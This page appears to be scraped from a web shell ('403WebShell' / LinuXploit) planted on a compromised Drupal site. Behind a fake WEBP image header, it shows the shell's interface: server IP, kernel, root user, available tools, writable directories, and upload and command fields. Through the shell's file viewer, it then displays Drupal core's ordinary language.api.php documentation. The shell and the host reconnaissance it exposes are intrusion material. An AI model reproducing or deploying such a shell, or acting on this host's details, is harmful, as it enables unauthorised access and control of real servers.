RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð ....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 104.225.223.251  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux agtdemo03 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /srv/wp/ciieduconnect.in/www/core/lib/Drupal/Core/Language/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /srv/wp/ciieduconnect.in/www/core/lib/Drupal/Core/Language/language.api.php
<?php

/**
 * @file
 * Hooks provided by the base system for language support.
 */

use Drupal\Core\Language\LanguageInterface;

/**
 * @defgroup i18n Internationalization
 * @{
 * Internationalization and translation
 *
 * The principle of internationalization is that it should be possible to make a
 * Drupal site in any language (or a multi-lingual site), where only content in
 * the desired language is displayed for any particular page request. In order
 * to make this happen, developers of modules, themes, and installation profiles
 * need to make sure that all of the displayable content and user interface (UI)
 * text that their project deals with is internationalized properly, so that it
 * can be translated using the standard Drupal translation mechanisms.
 *
 * @section internationalization Internationalization
 * Different @link info_types types of information in Drupal @endlink have
 * different methods for internationalization, and different portions of the
 * UI also have different methods for internationalization. Here is a list of
 * the different mechanisms for internationalization, and some notes:
 * - UI text is always put into code and related files in English.
 * - Any time UI text is displayed using PHP code, it should be passed through
 *   either the global t() function or a t() method on the class. If it
 *   involves plurals, it should be passed through either the global
 *   \Drupal\Core\StringTranslation\PluralTranslatableMarkup::createFromTranslatedString()
 *   or a formatPlural() method on the class. Use
 *   \Drupal\Core\StringTranslation\StringTranslationTrait to get these methods
 *   into a class.
 * - Dates displayed in the UI should be passed through the 'date' service
 *   class's format() method. Again see the Services topic; the method to
 *   call is \Drupal\Core\Datetime\Date::format().
 * - Some YML files contain UI text that is automatically translatable:
 *   - *.routing.yml files: route titles. This also applies to
 *     *.links.task.yml, *.links.action.yml, and *.links.contextual.yml files.
 *   - *.info.yml files: module names and descriptions.
 * - For configuration, make sure any configuration that is displayable to
 *   users is marked as translatable in the configuration schema. Configuration
 *   types label, text, and date_format are translatable; string is
 *   non-translatable text. See the @link config_api Config API topic @endlink
 *   for more information.
 * - For annotation, make sure that any text that is displayable in the UI
 *   is wrapped in \@Translation(). See the
 *   @link plugin_translatable Plugin translatables topic @endlink for more
 *   information.
 * - Content entities are translatable if they have
 *   @code
 *   translatable = TRUE,
 *   @endcode
 *   in their annotation. The use of entities to store user-editable content to
 *   be displayed in the site is highly recommended over creating your own
 *   method for storing, retrieving, displaying, and internationalizing content.
 * - For Twig templates, use 't' or 'trans' filters to indicate translatable
 *   text. See https://www.drupal.org/node/2133321 for more information.
 * - In JavaScript code, use the Drupal.t() and Drupal.formatPlural() functions
 *   (defined in core/misc/drupal.js) to translate UI text.
 * - If you are using a custom module, theme, etc. that is not hosted on
 *   Drupal.org, see
 *   @link interface_translation_properties Interface translation properties topic @endlink
 *   for information on how to make sure your UI text is translatable.
 *
 * @section translation Translation
 * Once your data and user interface are internationalized, the following Core
 * modules are used to translate it into different languages (machine names of
 * modules in parentheses):
 * - Language (language): Define which languages are active on the site.
 * - Interface Translation (locale): Translate UI text.
 * - Content Translation (content_translation): Translate content entities.
 * - Configuration Translation (config_translation): Translate configuration.
 *
 * The Interface Translation module deserves special mention, because besides
 * providing a UI for translating UI text, it also imports community
 * translations from the
 * @link https://localize.drupal.org Drupal translation server. @endlink If
 * UI text and provided configuration in Drupal Core and contributed modules,
 * themes, and installation profiles is properly internationalized (as described
 * above), the text is automatically added to the translation server for
 * community members to translate, via *.po files that are generated by
 * scanning the project files.
 *
 * @section context Translation string sharing and context
 * By default, translated strings are only translated once, no matter where
 * they are being used. For instance, there are many forms with Save
 * buttons on them, and they all would have t('Save') in their code. The
 * translation system will only store this string once in the translation
 * database, so that if the translation is updated, all forms using that text
 * will get the updated translation.
 *
 * Because the source of translation strings is English, and some words in
 * English have multiple meanings or uses, this centralized, shared translation
 * string storage can sometimes lead to ambiguous translations that are not
 * correct for every place the string is used. As an example, the English word
 * "May", in a string by itself, could be part of a list of full month names or
 * part of a list of 3-letter abbreviated month names. So, in languages where
 * the month name for May is longer than 3 letters, you'd need to translate May
 * differently depending on how it's being used. To address this problem, the
 * translation system includes the concept of the "context" of a translated
 * string, which can be used to disambiguate text for translators, and obtain
 * the correct translation for each usage of the string.
 *
 * Here are some examples of how to provide translation context with strings, so
 * that this information can be included in *.po files, displayed on the
 * localization server for translators, and used to obtain the correct
 * translation in the user interface:
 * @code
 * // PHP code
 * t('May', [], ['context' => 'Long month name']);
 * \Drupal::translation()->formatPlural($count, '1 something',
 *   '@count somethings', [], ['context' => 'My context']);
 *
 * // JavaScript code
 * Drupal.t('May', {}, {'context': 'Long month name'});
 * Drupal.formatPlural(count, '1 something', '@count somethings', {},
 *   {'context': 'My context'});
 *
 * // *.links.yml file
 * title: 'May'
 * title_context: 'Long month name'
 *
 * // *.routing.yml file
 * my.route.name:
 *   pattern: '/something'
 *   defaults:
 *     _title: 'May'
 *     _title_context: 'Long month name'
 *
 * // Config schema to say that a certain piece of configuration should be
 * // translatable using the Config Translation API. Note that the schema label
 * // is also translatable, but it cannot have context.
 * date_format:
 *  type: string
 *  label: 'PHP date format'
 *  translatable: true
 *  translation context: 'PHP date format'
 *
 * // Twig template
 * {% trans with {'context': 'Long month name'} %}
 *  May
 * {% endtrans %}
 * @endcode
 *
 * @see transliteration
 * @see t()
 * @}
 */

/**
 * @addtogroup hooks
 * @{
 */

/**
 * Perform alterations on language switcher links.
 *
 * A language switcher link may need to point to a different path or use a
 * translated link text before going through the link generator, which will
 * just handle the path aliases.
 *
 * @param array $links
 *   Nested array of links keyed by language code.
 * @param string $type
 *   The language type the links will switch.
 * @param \Drupal\Core\Url $url
 *   The URL the switch links will be relative to.
 */
function hook_language_switch_links_alter(array &$links, $type, \Drupal\Core\Url $url) {
  $language_interface = \Drupal::languageManager()->getCurrentLanguage();

  if ($type == LanguageInterface::TYPE_CONTENT && isset($links[$language_interface->getId()])) {
    foreach ($links[$language_interface->getId()] as $link) {
      $link['attributes']['class'][] = 'active-language';
    }
  }
}

/**
 * @} End of "addtogroup hooks".
 */

/**
 * @defgroup transliteration Transliteration
 * @{
 * Transliterate from Unicode to US-ASCII
 *
 * Transliteration is the process of translating individual non-US-ASCII
 * characters into ASCII characters, which specifically does not transform
 * non-printable and punctuation characters in any way. This process will always
 * be both inexact and language-dependent. For instance, the character Ö (O with
 * an umlaut) is commonly transliterated as O, but in German text, the
 * convention would be to transliterate it as Oe or OE, depending on the context
 * (beginning of a capitalized word, or in an all-capital letter context).
 *
 * The Drupal default transliteration process transliterates text character by
 * character using a database of generic character transliterations and
 * language-specific overrides. Character context (such as all-capitals
 * vs. initial capital letter only) is not taken into account, and in
 * transliterations of capital letters that result in two or more letters, by
 * convention only the first is capitalized in the Drupal transliteration
 * result. Also, only Unicode characters of 4 bytes or less can be
 * transliterated in the base system; language-specific overrides can be made
 * for longer Unicode characters. So, the process has limitations; however,
 * since the reason for transliteration is typically to create machine names or
 * file names, this should not really be a problem. After transliteration,
 * other transformation or validation may be necessary, such as converting
 * spaces to another character, removing non-printable characters,
 * lower-casing, etc.
 *
 * Here is a code snippet to transliterate some text:
 * @code
 * // Use the current default interface language.
 * $langcode = \Drupal::languageManager()->getCurrentLanguage()->getId();
 * // Instantiate the transliteration class.
 * $trans = \Drupal::transliteration();
 * // Use this to transliterate some text.
 * $transformed = $trans->transliterate($string, $langcode);
 * @endcode
 *
 * Drupal Core provides the generic transliteration character tables and
 * overrides for a few common languages; modules can implement
 * hook_transliteration_overrides_alter() to provide further language-specific
 * overrides (including providing transliteration for Unicode characters that
 * are longer than 4 bytes). Modules can also completely override the
 * transliteration classes in \Drupal\Core\CoreServiceProvider.
 */

/**
 * Provide language-specific overrides for transliteration.
 *
 * If the overrides you want to provide are standard for your language, consider
 * providing a patch for the Drupal Core transliteration system instead of using
 * this hook. This hook can be used temporarily until Drupal Core's
 * transliteration tables are fixed, or for sites that want to use a
 * non-standard transliteration system.
 *
 * @param array $overrides
 *   Associative array of language-specific overrides whose keys are integer
 *   Unicode character codes, and whose values are the transliterations of those
 *   characters in the given language, to override default transliterations.
 * @param string $langcode
 *   The code for the language that is being transliterated.
 *
 * @ingroup hooks
 */
function hook_transliteration_overrides_alter(&$overrides, $langcode) {
  // Provide special overrides for German for a custom site.
  if ($langcode == 'de') {
    // The core-provided transliteration of Ä is Ae, but we want just A.
    $overrides[0xC4] = 'A';
  }
}

/**
 * @} End of "defgroup transliteration".
 */

Youez - 2016 - github.com/yon3zu
LinuXploit